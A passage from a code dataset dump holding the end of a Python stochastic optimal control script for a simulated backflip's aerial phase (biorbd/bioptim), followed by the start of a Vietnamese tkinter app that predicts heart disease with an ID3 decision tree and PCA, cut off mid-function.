controller.stochastic_variables[\"cov\"].cx_start,\n )\n # Since the stochastic variables are defined with ns+1, the cx_start actually refers to the last node (when using node=Node.END)\n\n return val\n\n\ndef compute_torques_from_noise_and_feedback(\n nlp, time, states, controls, parameters, stochastic_variables, sensory_noise, motor_noise\n):\n tau_nominal = DynamicsFunctions.get(nlp.controls[\"tau_joints\"], controls)\n\n ref = DynamicsFunctions.get(nlp.stochastic_variables[\"ref\"], stochastic_variables)\n k = DynamicsFunctions.get(nlp.stochastic_variables[\"k\"], stochastic_variables)\n k_matrix = StochasticBioModel.reshape_to_matrix(k, nlp.model.matrix_shape_k)\n\n sensory_input = nlp.model.sensory_reference(time, states, controls, parameters, stochastic_variables, nlp)\n tau_fb = k_matrix @ ((sensory_input - ref) + sensory_noise)\n\n tau_motor_noise = motor_noise\n\n tau_joints = tau_nominal + tau_fb + tau_motor_noise\n\n return tau_joints\n\n\ndef prepare_socp(\n biorbd_model_path: str,\n polynomial_degree: int,\n time_last: float,\n n_shooting: int,\n motor_noise_magnitude: cas.DM,\n sensory_noise_magnitude: cas.DM,\n q_roots_last: np.ndarray = None,\n q_joints_last: np.ndarray = None,\n qdot_roots_last: np.ndarray = None,\n qdot_joints_last: np.ndarray = None,\n tau_joints_last: np.ndarray = None,\n k_last: np.ndarray = None,\n ref_last: np.ndarray = None,\n m_last: np.ndarray = None,\n cov_last: np.ndarray = None,\n) -> StochasticOptimalControlProgram:\n \"\"\"\n ...\n \"\"\"\n\n biorbd_model = biorbd.Model(biorbd_model_path)\n n_q = biorbd_model.nbQ()\n n_root = biorbd_model.nbRoot()\n n_joints = n_q - n_root\n friction_coefficients = cas.DM.zeros(n_joints, n_joints)\n for i in range(n_joints):\n friction_coefficients[i, i] = 0.1\n\n initial_cov = cas.DM_eye(2 * n_q) * np.hstack((np.ones((n_q,)) * 1e-4, np.ones((n_q,)) * 1e-7)) # P\n\n auto_initialization = False if k_last is not None else True\n problem_type = SocpType.COLLOCATION(\n polynomial_degree=polynomial_degree,\n method=\"legendre\",\n auto_initialization=auto_initialization,\n initial_cov=initial_cov,\n )\n\n bio_model = StochasticBiorbdModel(\n biorbd_model_path,\n sensory_noise_magnitude=sensory_noise_magnitude,\n motor_noise_magnitude=motor_noise_magnitude,\n sensory_reference=sensory_reference,\n compute_torques_from_noise_and_feedback=compute_torques_from_noise_and_feedback,\n n_references=2 * (n_joints + 1),\n n_feedbacks=2 * (n_joints + 1),\n n_noised_states=n_q * 2,\n n_noised_controls=n_joints,\n n_collocation_points=polynomial_degree + 1,\n friction_coefficients=friction_coefficients,\n )\n\n # Add objective functions\n objective_functions = ObjectiveList()\n # objective_functions.add(ObjectiveFcn.Lagrange.MINIMIZE_CONTROL, node=Node.ALL_SHOOTING, key=\"tau_joints\", weight=0.01,\n # quadratic=True)\n objective_functions.add(\n ObjectiveFcn.Lagrange.STOCHASTIC_MINIMIZE_EXPECTED_FEEDBACK_EFFORTS,\n node=Node.ALL_SHOOTING,\n weight=1e3 / 2,\n quadratic=True,\n )\n objective_functions.add(ObjectiveFcn.Mayer.MINIMIZE_TIME, weight=0.01, min_bound=0.1, max_bound=1)\n if np.sum(sensory_noise_magnitude) == 0:\n objective_functions.add(\n ObjectiveFcn.Lagrange.STOCHASTIC_MINIMIZE_VARIABLE, key=\"k\", weight=0.01, quadratic=True\n )\n\n objective_functions.add(\n reach_landing_position_consistantly, custom_type=ObjectiveFcn.Mayer, node=Node.END, weight=1e3, quadratic=True\n )\n\n # Constraints\n constraints = ConstraintList()\n constraints.add(ConstraintFcn.TRACK_MARKERS, marker_index=2, axes=Axis.Z, node=Node.END)\n constraints.add(CoM_over_toes, node=Node.END)\n\n # Dynamics\n dynamics = DynamicsList()\n dynamics.add(\n DynamicsFcn.STOCHASTIC_TORQUE_DRIVEN_FREE_FLOATING_BASE,\n problem_type=problem_type,\n with_cholesky=False,\n with_friction=True,\n )\n\n pose_at_first_node = np.array(\n [-0.0346, 0.1207, 0.2255, 0.0, 3.1, -0.1787, 0.0]\n ) # Initial position approx from bioviz\n pose_at_last_node = np.array(\n [-0.0346, 0.1207, 5.8292, -0.1801, 0.5377, 0.8506, -0.6856]\n ) # Final position approx from bioviz\n\n\n x_bounds = BoundsList()\n q_roots_min = bio_model.bounds_from_ranges(\"q_roots\").min\n q_roots_max = bio_model.bounds_from_ranges(\"q_roots\").max\n q_joints_min = bio_model.bounds_from_ranges(\"q_joints\").min\n q_joints_max = bio_model.bounds_from_ranges(\"q_joints\").max\n qdot_roots_min = bio_model.bounds_from_ranges(\"qdot_roots\").min\n qdot_roots_max = bio_model.bounds_from_ranges(\"qdot_roots\").max\n qdot_joints_min = bio_model.bounds_from_ranges(\"qdot_joints\").min\n qdot_joints_max = bio_model.bounds_from_ranges(\"qdot_joints\").max\n\n q_roots_min[:, 0] = pose_at_first_node[:n_root]\n q_roots_max[:, 0] = pose_at_first_node[:n_root]\n q_joints_min[:, 0] = pose_at_first_node[n_root:]\n q_joints_max[:, 0] = pose_at_first_node[n_root:]\n q_roots_min[2, 2] = pose_at_last_node[2] - 0.5\n q_roots_max[2, 2] = pose_at_last_node[2] + 0.5\n qdot_roots_min[:, 0] = 0\n qdot_roots_max[:, 0] = 0\n qdot_joints_min[:, 0] = 0\n qdot_joints_max[:, 0] = 0\n qdot_roots_min[1, 0] = 2\n qdot_roots_max[1, 0] = 2\n qdot_roots_min[2, 0] = 2.5 * np.pi\n qdot_roots_max[2, 0] = 2.5 * np.pi\n\n x_bounds.add(\n \"q_roots\",\n min_bound=q_roots_min,\n max_bound=q_roots_max,\n interpolation=InterpolationType.CONSTANT_WITH_FIRST_AND_LAST_DIFFERENT,\n )\n x_bounds.add(\n \"q_joints\",\n min_bound=q_joints_min,\n max_bound=q_joints_max,\n interpolation=InterpolationType.CONSTANT_WITH_FIRST_AND_LAST_DIFFERENT,\n )\n x_bounds.add(\n \"qdot_roots\",\n min_bound=qdot_roots_min,\n max_bound=qdot_roots_max,\n interpolation=InterpolationType.CONSTANT_WITH_FIRST_AND_LAST_DIFFERENT,\n )\n x_bounds.add(\n \"qdot_joints\",\n min_bound=qdot_joints_min,\n max_bound=qdot_joints_max,\n interpolation=InterpolationType.CONSTANT_WITH_FIRST_AND_LAST_DIFFERENT,\n )\n\n u_bounds = BoundsList()\n tau_min = np.ones((n_q - n_root, 3)) * -500\n tau_max = np.ones((n_q - n_root, 3)) * 500\n u_bounds.add(\n \"tau_joints\",\n min_bound=tau_min,\n max_bound=tau_max,\n interpolation=InterpolationType.CONSTANT_WITH_FIRST_AND_LAST_DIFFERENT,\n )\n\n # Initial guesses\n x_init = InitialGuessList()\n if q_roots_last is None:\n x_init.add(\n \"q_roots\",\n initial_guess=np.vstack((pose_at_first_node[:n_root], pose_at_last_node[:n_root])).T,\n interpolation=InterpolationType.LINEAR,\n )\n x_init.add(\n \"q_joints\",\n initial_guess=np.vstack((pose_at_first_node[n_root:], pose_at_last_node[n_root:])).T,\n interpolation=InterpolationType.LINEAR,\n )\n x_init.add(\"qdot_roots\", initial_guess=[0.01] * n_root, interpolation=InterpolationType.CONSTANT)\n x_init.add(\"qdot_joints\", initial_guess=[0.01] * n_joints, interpolation=InterpolationType.CONSTANT)\n else:\n x_init.add(\"q_roots\", initial_guess=q_roots_last, interpolation=InterpolationType.ALL_POINTS)\n x_init.add(\"q_joints\", initial_guess=q_joints_last, interpolation=InterpolationType.ALL_POINTS)\n x_init.add(\"qdot_roots\", initial_guess=qdot_roots_last, interpolation=InterpolationType.ALL_POINTS)\n x_init.add(\"qdot_joints\", initial_guess=qdot_joints_last, interpolation=InterpolationType.ALL_POINTS)\n\n u_init = InitialGuessList()\n if tau_joints_last is None:\n u_init.add(\"tau_joints\", initial_guess=[0.01] * n_joints, interpolation=InterpolationType.CONSTANT)\n else:\n u_init.add(\"tau_joints\", initial_guess=tau_joints_last[:, :-1], interpolation=InterpolationType.EACH_FRAME)\n\n n_ref = 2 * (n_joints + 1) # ref(8)\n n_k = n_joints * n_ref # K(3x8)\n n_m = (2 * n_q) ** 2 * (polynomial_degree + 1) # M(12x12x4)\n n_stochastic = n_k + n_ref + n_m\n n_cov = (2 * n_q) ** 2 # Cov(12x12)\n n_stochastic += n_cov\n\n s_init = InitialGuessList()\n s_bounds = BoundsList()\n\n if k_last is not None:\n s_init.add(\"k\", initial_guess=k_last, interpolation=InterpolationType.EACH_FRAME)\n s_bounds.add(\"k\", min_bound=[-500] * n_k, max_bound=[500] * n_k, interpolation=InterpolationType.CONSTANT)\n\n ref_min = cas.vertcat(\n x_bounds[\"q_joints\"].min,\n x_bounds[\"qdot_joints\"].min,\n x_bounds[\"q_roots\"].min[2, :].reshape(1, 3),\n x_bounds[\"qdot_roots\"].min[2, :].reshape(1, 3),\n )\n ref_max = cas.vertcat(\n x_bounds[\"q_joints\"].max,\n x_bounds[\"qdot_joints\"].max,\n x_bounds[\"q_roots\"].max[2, :].reshape(1, 3),\n x_bounds[\"qdot_roots\"].max[2, :].reshape(1, 3),\n )\n\n if ref_last is not None:\n s_init.add(\"ref\", initial_guess=ref_last, interpolation=InterpolationType.EACH_FRAME)\n s_bounds.add(\n \"ref\",\n min_bound=ref_min,\n max_bound=ref_max,\n interpolation=InterpolationType.CONSTANT_WITH_FIRST_AND_LAST_DIFFERENT,\n )\n\n if m_last is not None:\n s_init.add(\"m\", initial_guess=m_last, interpolation=InterpolationType.EACH_FRAME)\n s_bounds.add(\"m\", min_bound=[-50] * n_m, max_bound=[50] * n_m, interpolation=InterpolationType.CONSTANT)\n\n cov_min = np.ones((n_cov, 3)) * -500\n cov_max = np.ones((n_cov, 3)) * 500\n cov_min[:, 0] = np.reshape(StochasticBioModel.reshape_to_vector(initial_cov), (-1, ))\n cov_max[:, 0] = np.reshape(StochasticBioModel.reshape_to_vector(initial_cov), (-1, ))\n if cov_last is not None:\n s_init.add(\"cov\", initial_guess=cov_last, interpolation=InterpolationType.EACH_FRAME)\n s_bounds.add(\n \"cov\",\n min_bound=cov_min,\n max_bound=cov_max,\n interpolation=InterpolationType.CONSTANT_WITH_FIRST_AND_LAST_DIFFERENT,\n )\n\n return StochasticOptimalControlProgram(\n bio_model,\n dynamics,\n n_shooting,\n time_last,\n x_init=x_init,\n u_init=u_init,\n s_init=s_init,\n x_bounds=x_bounds,\n u_bounds=u_bounds,\n s_bounds=s_bounds,\n objective_functions=objective_functions,\n constraints=constraints,\n n_threads=32,\n problem_type=problem_type,\n )\n\n\ndef main():\n model_name = \"Model2D_6Dof_0C_3M\"\n biorbd_model_path = f\"models/{model_name}.bioMod\"\n biorbd_model_path_with_mesh = f\"models/{model_name}_with_mesh.bioMod\"\n\n save_path = f\"results/{model_name}_aerial_socp_collocations.pkl\"\n\n n_q = 7\n n_root = 3\n\n dt = 0.05\n final_time = 0.8\n n_shooting = int(final_time / dt)\n\n # TODO: How do we choose the values?\n motor_noise_std = 0.05\n wPq_std = 3e-4\n wPqdot_std = 0.0024\n\n motor_noise_magnitude = cas.DM(\n np.array([motor_noise_std**2 / dt for _ in range(n_q - n_root)])\n ) # All DoFs except root\n sensory_noise_magnitude = cas.DM(\n cas.vertcat(\n np.array([wPq_std**2 / dt for _ in range(n_q - n_root + 1)]),\n np.array([wPqdot_std**2 / dt for _ in range(n_q - n_root + 1)]),\n )\n ) # since the head is fixed to the pelvis, the vestibular feedback is in the states ref\n\n # Solver parameters\n solver = Solver.IPOPT(show_online_optim=False, show_options=dict(show_bounds=True))\n solver.set_linear_solver(\"ma97\")\n solver.set_tol(1e-3)\n solver.set_dual_inf_tol(3e-4)\n solver.set_constr_viol_tol(1e-7)\n solver.set_bound_frac(1e-8)\n solver.set_bound_push(1e-8)\n solver.set_maximum_iterations(1000)\n solver.set_hessian_approximation(\"limited-memory\") # Mandatory, otherwise RAM explodes!\n solver._nlp_scaling_method = \"none\"\n\n socp = prepare_socp(biorbd_model_path, final_time, n_shooting, motor_noise_magnitude, sensory_noise_magnitude)\n sol = socp.solve(solver)\n\n q_roots_sol = sol.states[\"q_roots\"]\n q_joints_sol = sol.states[\"q_joints\"]\n qdot_roots_sol = sol.states[\"qdot_roots\"]\n qdot_joints_sol = sol.states[\"qdot_joints\"]\n tau_joints_sol = sol.controls[\"tau_joints\"]\n time_sol = sol.parameters[\"time\"][0][0]\n data = {\n \"q_roots_sol\": q_roots_sol,\n \"q_joints_sol\": q_joints_sol,\n \"qdot_roots_sol\": qdot_roots_sol,\n \"qdot_joints_sol\": qdot_joints_sol,\n \"tau_joints_sol\": tau_joints_sol,\n \"time_sol\": time_sol,\n }\n\n if sol.status != 0:\n save_path = save_path.replace(\".pkl\", \"_DVG.pkl\")\n else:\n save_path = save_path.replace(\".pkl\", \"_CVG.pkl\")\n\n with open(save_path, \"wb\") as file:\n pickle.dump(data, file)\n\n import bioviz\n\n b = bioviz.Viz(biorbd_model_path_with_mesh)\n b.load_movement(q_opt)\n b.exec()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"EveCharbie/Stochastic_standingBack","sub_path":"seg3_aerial_collocations.py","file_name":"seg3_aerial_collocations.py","file_ext":"py","file_size_in_byte":16926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"34115075516","text":"\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nfrom turtle import bgcolor\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import preprocessing\r\nfrom sklearn.metrics import precision_score\r\nfrom sklearn.metrics import recall_score\r\nfrom sklearn.metrics import f1_score\r\nfrom sklearn import svm\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.metrics import accuracy_score\r\nimport PySimpleGUI as sg\r\n\r\n\r\ndf = pd.read_csv(r'./HeartAttackDataSet.csv')\r\n\r\ndata = np.array(df[['age','sex','cp','trestbps','chol','fbs','restecg','thalach','exang','oldpeak','slope','ca','thal','target']].values)\r\ndt_Train, dt_Test = train_test_split(data, test_size=0.3 , shuffle = True)\r\n\r\nX_train_main = dt_Train[:, :13]\r\ny_train_main = dt_Train[:, 13]\r\nX_test_main = dt_Test[:, :13]\r\ny_test_main = dt_Test[:, 13]\r\n\r\n# PCA\r\nX = np.array(df[['age','sex','cp','trestbps','chol','fbs','restecg','thalach','exang','oldpeak','slope','ca','thal']].values) \r\ny = np.array(df['target'])\r\n\r\ndef PCA_method(formula):\r\n max = 0\r\n for j in range(1,14):\r\n print(\"Lan\", j)\r\n pca = PCA(n_components = j)\r\n pca.fit(X)\r\n Xbar = pca.transform(X)\r\n X_train, X_test, y_train, y_test = train_test_split(Xbar, y, test_size=0.3 , shuffle = True)\r\n\r\n if(formula == 'id3'):\r\n id3 = DecisionTreeClassifier(criterion='entropy',random_state=0)\r\n id3.fit(X_train, y_train)\r\n y_predict_id3 = id3.predict(X_test)\r\n rate = accuracy_score(y_test, y_predict_id3)\r\n print(\"Ty le du doan dung ID3: \", rate)\r\n if(rate > max):\r\n num_pca = j\r\n pca_best = pca\r\n max = rate\r\n modeImax = id3\r\n\r\n return modeImax, pca_best, num_pca\r\n\r\n#CHUA DUNG PCA\r\n#id3\r\nid3 = DecisionTreeClassifier(criterion='entropy')\r\nid3.fit(X_train_main, y_train_main)\r\n\r\n# Dung PCA:\r\n#ID3\r\nid3_PCA,pca_best_id3,num_pca_id3 = PCA_method('id3')\r\n# FORM\r\nform = tk.Tk()\r\nform.title(\"Dự đoán khả năng bị bệnh tim của bệnh nhân:\")\r\nform.geometry(\"1700x900\")\r\n\r\n\r\n\r\nlable_people = LabelFrame(form, text = \"Nhập thông tin bệnh nhân\", font=(\"Arial Bold\", 13), fg=\"red\")\r\nlable_people.pack(fill=\"both\", expand=\"yes\")\r\nlable_people.config(bg=\"#FEF2D1\")\r\n# THÔNG TIN CỘT 1\r\nlable_age = Label(form,font=(\"Arial Bold\", 10), text = \"Tuổi:\" ,bg=\"#FEF2D1\").place(x = 180 , y = 50)\r\ntextbox_age = Entry(form,width = 30,font=(\"Arial Bold\", 10))\r\ntextbox_age.place(x = 410 , y = 50)\r\n\r\nlable_sex = Label(form,font=(\"Arial Bold\", 10), text = \"Giới tính:\" ,bg=\"#FEF2D1\").place(x = 180 , y = 90)\r\nlable_sex_gioitinh = ['Nam', 'Nữ']\r\nlable_sex = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_sex_gioitinh, state = \"readonly\")\r\nlable_sex.place(x = 410 , y = 90)\r\nlable_sex.current(0)\r\n\r\nlable_cp = Label(form,font=(\"Arial Bold\", 10), text = \"Loại đau ngực:\",bg=\"#FEF2D1\").place(x = 180 , y = 130)\r\nlable_cp_loaidaunguc = ['Không có triệu chứng', 'Đau thắt ngực không điển hình', 'Không đau thắt ngực', 'Đau thắt ngực điển hình'] \r\nlable_cp = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_cp_loaidaunguc, state = \"readonly\")\r\nlable_cp.place(x = 410 , y = 130)\r\nlable_cp.current(0)\r\n\r\nlable_trestbps = Label(form,font=(\"Arial Bold\", 10), text = \"Huyết áp khi nghỉ ngơi(mm/Hg):\",bg=\"#FEF2D1\").place(x = 180 , y = 170)\r\ntextbox_trestbps = Entry(form,width = 30,font=(\"Arial Bold\", 10))\r\ntextbox_trestbps.place(x = 410 , y = 170)\r\n\r\nlable_chol = Label(form,font=(\"Arial Bold\", 10), text = \"Cholesterol(mg/dl):\",bg=\"#FEF2D1\").place(x = 180 , y = 210)\r\ntextbox_chol = Entry(form,width = 30,font=(\"Arial Bold\", 10))\r\ntextbox_chol.place(x = 410 , y = 210)\r\n\r\nlable_fbs = Label(form,font=(\"Arial Bold\", 10), text = \"Lượng đường trong máu: \",bg=\"#FEF2D1\").place(x = 180 , y = 250)\r\nlable_fbs_luongduong = ['<120 mg/dl', '>120 mg/dl']\r\nlable_fbs = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_fbs_luongduong, state = \"readonly\")\r\nlable_fbs.place(x = 410 , y = 250)\r\nlable_fbs.current(0)\r\n\r\nlable_restecg = Label(form,font=(\"Arial Bold\", 10), text = \"Điện tâm đồ khi nghỉ ngơi:\",bg=\"#FEF2D1\").place(x = 180 , y = 290)\r\nlable_restecg_dientamdo = ['Bình thường', 'Có sóng ST-T bất thường', 'Phì đại thất trái']\r\nlable_restecg = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_restecg_dientamdo, state = \"readonly\")\r\nlable_restecg.place(x = 410 , y = 290)\r\nlable_restecg.current(0)\r\n\r\n# THÔNG TIN CỘT 2\r\nlable_thalach = Label(form,font=(\"Arial Bold\", 10), text = \"Số nhịp đập mỗi phút:\",bg=\"#FEF2D1\").place(x = 830 , y = 50)\r\ntextbox_thalach = Entry(form,width = 30,font=(\"Arial Bold\", 10))\r\ntextbox_thalach.place(x = 1080 , y = 50)\r\n\r\nlable_exang = Label(form,font=(\"Arial Bold\", 10), text = \"Tập thể dục gây ra đau thắt ngực:\",bg=\"#FEF2D1\").place(x = 830 , y = 90)\r\nlable_exang_daunguc = ['Không', 'Có']\r\nlable_exang = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_exang_daunguc, state = \"readonly\")\r\nlable_exang.place(x = 1080 , y = 90)\r\nlable_exang.current(0)\r\n\r\nlable_oldpeak = Label(form,font=(\"Arial Bold\", 10), text = \"ST trầm cảm:\",bg=\"#FEF2D1\").place(x = 830 , y = 130)\r\ntextbox_oldpeak = Entry(form,width = 30,font=(\"Arial Bold\", 10))\r\ntextbox_oldpeak.place(x = 1080 , y = 130)\r\n\r\nlable_slope = Label(form,font=(\"Arial Bold\", 10), text = \"Độ dốc của đoạn ST:\",bg=\"#FEF2D1\").place(x = 830 , y = 170)\r\nlable_slope_dodocST = ['Đi xuống', 'Đi lên', 'Cân bằng']\r\nlable_slope = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_slope_dodocST, state = \"readonly\")\r\nlable_slope.place(x = 1080 , y = 170)\r\nlable_slope.current(0)\r\n\r\nlable_ca = Label(form,font=(\"Arial Bold\", 10), text = \"Số mạch chính:\",bg=\"#FEF2D1\").place(x = 830 , y = 210)\r\nlable_ca_somachchinh = ['0', '1', '2', '3']\r\nlable_ca = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_ca_somachchinh, state = \"readonly\")\r\nlable_ca.place(x = 1080 , y = 210)\r\nlable_ca.current(0)\r\n\r\nlable_thal = Label(form,font=(\"Arial Bold\", 10), text = \"Thalassemia:\",bg=\"#FEF2D1\").place(x = 830 , y = 250)\r\nlable_thal_Thalassemia = ['Không', 'Khuyết tật cố định', 'Lưu lượng máu bình thường', 'Khuyết tật có thể đảo ngược']\r\nlable_thal = ttk.Combobox(form,font=(\"Arial Bold\", 10), width = 28, values = lable_thal_Thalassemia, state = \"readonly\")\r\nlable_thal.place(x = 1080 , y = 250)\r\nlable_thal.current(0)\r\n\r\n\r\n\r\n# KẾT QUẢ DỰ ĐOÁN\r\nlable_people = LabelFrame(form, text = \"Kết quả dự đoán\", font=(\"Arial Bold\", 13), fg=\"blue\")\r\nlable_people.pack(fill=\"both\", expand=\"yes\")\r\nlable_people.config(bg=\"#FEF2D1\")\r\n# bg=\"#FEF2D1\"\r\n\r\n#Khi chua su dung PCA\r\nlable_note = Label(form, text = \"Khi chưa sử dụng PCA\",font=(\"Arial Bold\", 13),fg=\"blue\",bg=\"#FEF2D1\").place(x = 410 , y = 500)\r\n\r\n#ID3\r\n#dudoanid3test\r\ny_id3 = id3.predict(X_test_main)\r\nlbl3 = Label(form,font=(\"Arial Bold\", 10),bg=\"#FEF2D1\")\r\nlbl3.place(x = 350 , y = 550)\r\nlbl3.configure(text=\"Tỷ lệ dự đoán đúng của ID3: \"+str(accuracy_score(y_test_main, y_id3)*100)+\"%\"+'\\n'\r\n +\"Precision: \"+str(precision_score(y_test_main, y_id3)*100)+\"%\"+'\\n'\r\n +\"Recall: \"+str(recall_score(y_test_main, y_id3)*100)+\"%\"+'\\n'\r\n +\"F1-score: \"+str(f1_score(y_test_main, y_id3)*100)+\"%\"+'\\n')\r\n\r\n#khi dung PCA\r\nlable_note = Label(form, text = \"Khi sử dụng PCA\",font=(\"Arial Bold\", 13),fg=\"blue\",bg=\"#FEF2D1\").place(x = 930 , y = 500)\r\n\r\n#ID3\r\n#dudoanid3test\r\nX_test_PCA_id3 = pca_best_id3.transform(X_test_main)\r\ny_id3_PCA = id3_PCA.predict(X_test_PCA_id3)\r\nlbl3 = Label(form,font=(\"Arial Bold\", 10),bg=\"#FEF2D1\")\r\nlbl3.place(x = 850 , y = 550)\r\nlbl3.configure(text=\"Tỷ lệ dự đoán đúng của ID3: \"+str(accuracy_score(y_test_main, y_id3_PCA)*100)+\"%\"+'\\n'\r\n +\"Precision: \"+str(precision_score(y_test_main, y_id3_PCA)*100)+\"%\"+'\\n'\r\n +\"Recall: \"+str(recall_score(y_test_main, y_id3_PCA)*100)+\"%\"+'\\n'\r\n +\"F1-score: \"+str(f1_score(y_test_main, y_id3_PCA)*100)+\"%\"+'\\n'\r\n +\"Sử dụng: \"+str(num_pca_id3)+\"/13 trường dữ liệu\")\r\n\r\n\r\ndef getValue():\r\n age = textbox_age.get()\r\n sex = lable_sex.get()\r\n if(sex == 'Nam'):\r\n sex = 1\r\n else:\r\n sex = 0\r\n cp = lable_cp.get()\r\n if(cp == 'Không có triệu chứng'):\r\n cp = 0\r\n elif(cp == 'Đau thắt ngực không điển hình'):\r\n cp = 1\r\n elif(cp == 'Không đau thắt ngực'):\r\n cp = 2\r\n elif(cp == 'Đau thắt ngực điển hình'):\r\n cp = 3\r\n trestbps = textbox_trestbps.get()\r\n chol = textbox_chol.get()\r\n fbs = lable_fbs.get()\r\n if(fbs == '<120 mg/dl'):\r\n fbs = 0\r\n elif(fbs == '>120 mg/dl'):\r\n fbs = 1\r\n restecg = lable_restecg.get()\r\n if(restecg == 'Bình thường'):\r\n restecg = 0\r\n elif(restecg == 'Có sóng ST-T bất thường'):\r\n restecg = 1\r\n elif(restecg == 'Phì đại thất trái'):\r\n restecg = 2\r\n thalach = textbox_thalach.get()\r\n exang = lable_exang.get()\r\n if(exang == 'Có'):\r\n exang = 1\r\n else:\r\n exang = 0\r\n oldpeak = textbox_oldpeak.get()\r\n slope = lable_slope.get()\r\n if(slope == 'Đi xuống'):\r\n slope = 0\r\n elif(slope == 'Đi lên'):\r\n slope = 1\r\n elif(slope == 'Cân bằng'):\r\n slope = 2\r\n ca = lable_ca.get()\r\n\r\n thal = lable_thal.get()\r\n if(thal == 'Không'):\r\n thal = 0\r\n elif(thal == 'Khuyết tật cố định'):\r\n thal = 1\r\n elif(thal == 'Lưu lượng máu bình thường'):\r\n thal = 2\r\n elif(thal == 'Khuyết tật có thể đảo ngược'):\r\n thal = 3\r\n X_dudoan = np.array([age, sex, cp, trestbps, chol, fbs,restecg, thalach, exang, oldpeak, slope, ca, thal]).reshape(1, -1)\r\n return X_dudoan\r\n\r\n# dataset\r\ndef dudoanID3():\r\n age = textbox_age.get()\r\n sex = lable_sex.get()\r\n cp = lable_cp.get()\r\n trestbps = textbox_trestbps.get()\r\n chol = textbox_chol.get()\r\n fbs = lable_fbs.get()\r\n restecg = lable_restecg.get()\r\n thalach = textbox_thalach.get()\r\n exang = lable_exang.get()\r\n oldpeak = textbox_oldpeak.get()\r\n slope = lable_slope.get()\r\n ca = lable_ca.get()\r\n thal = lable_thal.get()\r\n\r\n if((age == '') or (sex == '') or (cp == '') or (trestbps == '') or (chol == '') or (fbs == '') or (restecg == '') or (thalach == '') or (exang == '') or (oldpeak == '') or (slope == '') or (ca == '') or (thal == '')):\r\n messagebox.showinfo(\"Thông báo\", \"Bạn cần nhập đầy đủ thông tin!\")\r\n else:\r\n X_dudoan = getValue()\r\n y_kqua = id3_PCA.predict(X_dudoan)\r\n if(y_kqua == 1):\r\n lbl1.configure(text= 'Yes - Bị bệnh')\r\n else:\r\n lbl1.configure(text= 'No - Không bị bệnh')\r\n\r\n# Button\r\nbutton_id3 = Button(form ,font=(\"Arial Bold\", 10), text = 'Kết quả dự đoán theo ID3', command = dudoanID3, background=\"#04AA6D\", foreground=\"white\")\r\nbutton_id3.place(x = 410 , y = 670)\r\nlbl1 = Label(form, text=\"\",font=(\"Arial Bold\", 10),fg=\"blue\",bg=\"#FEF2D1\")\r\nlbl1.place(x = 410 , y = 700)\r\n\r\n\r\n\r\n# dataset\r\ndef dudoanID3():\r\n age = textbox_age.get()\r\n sex = lable_sex.get()\r\n cp = lable_cp.get()\r\n trestbps = textbox_trestbps.get()\r\n chol = textbox_chol.get()\r\n fbs = lable_fbs.get()\r\n restecg = lable_restecg.get()\r\n thalach = textbox_thalach.get()\r\n exang = lable_exang.get()\r\n oldpeak = textbox_oldpeak.get()\r\n slope = lable_slope.get()\r\n ca = lable_ca.get()\r\n thal = lable_thal.get()\r\n\r\n if((age == '') or (sex == '') or (cp == '') or (trestbps == '') or (chol == '') or (fbs == '') or (restecg == '') or (thalach == '') or (exang == '') or (oldpeak == '') or (slope == '') or (ca == '') or (thal == '')):\r\n messagebox.showinfo(\"Thông báo\", \"Bạn cần nhập đầy đủ thông tin!\")\r\n else:\r\n if( int(age) < 1 or int(age) > 120):\r\n messagebox.showerror(\"Thông báo\", \"Thông tin tuổi phải từ 0-120\")\r\n elif( int(trestbps) < 0 ) :\r\n messagebox.showerror(\"Thông báo\", \"Thông tin huyết áp khi nghỉ ngơi phải lớn hơn 0\")\r\n elif( int(chol) < 0 ) :\r\n messagebox.showerror(\"Thông báo\", \"Thông tin cholesteron phải lớn hơn 0\")\r\n elif( int(thalach) < 0 ) :\r\n messagebox.showerror(\"Thông báo\", \"Thông tin nhịp tim mỗi phút phải lớn hơn 0\")\r\n elif( float(oldpeak) < 0 ) :\r\n messagebox.showerror(\"Thông báo\", \"Thông tin ST trầm cảm phải lớn hơn 0\")\r\n else:\r\n X_dudoan = getValue()\r\n y_kqua = id3.predict(X_dudoan)\r\n if(y_kqua == 1):\r\n lbl1.configure(text= 'Yes - Bị bệnh')\r\n else:\r\n lbl1.configure(text= 'No - Không bị bệnh')\r\n\r\n# Button\r\nbutton_id3 = Button(form ,font=(\"Arial Bold\", 10), text = 'Kết quả dự đoán theo ID3', command = dudoanID3, background=\"#04AA6D\", foreground=\"white\")\r\nbutton_id3.place(x = 410 , y = 670)\r\nlbl1 = Label(form, text=\"\",font=(\"Arial Bold\", 10),fg=\"blue\", bg=\"#FEF2D1\")\r\nlbl1.place(x = 410 , y = 700)\r\n\r\n\r\n\r\ndef dudoanID3_PCA():\r\n age = textbox_age.get()\r\n sex = lable_sex.get()\r\n cp = lable_cp.get()\r\n trestbps = textbox_trestbps.get()\r\n chol = textbox_chol.get()\r\n fbs = lable_fbs.get()\r\n restecg = lable_restecg.get()\r\n thalach = textbox_thalach.get()\r\n exang = lable_exang.get()\r\n oldpeak = textbox_oldpeak.get()\r\n slope = lable_slope.get()\r\n ca = lable_ca.get()\r\n thal = lable_thal.get()\r\n\r\n if((age == '') or (sex == '') or (cp == '') or (trestbps == '') or (chol == '') or (fbs == '') or (restecg == '') or (thalach == '') or (exang == '') or (oldpeak == '') or (slope == '') or (ca == '') or (thal == '')):\r\n messagebox.showinfo(\"Thông báo\", \"Bạn cần nhập đầy đủ thông tin!\")\r\n else:\r\n X_dudoan = getValue()\r\n X_new = pca_best_id3.transform(X_dudoan)\r\n y_kqua = id3_PCA.predict(X_new)\r\n if(y_kqua == 1):\r\n lbl1_id3pca.configure(text= 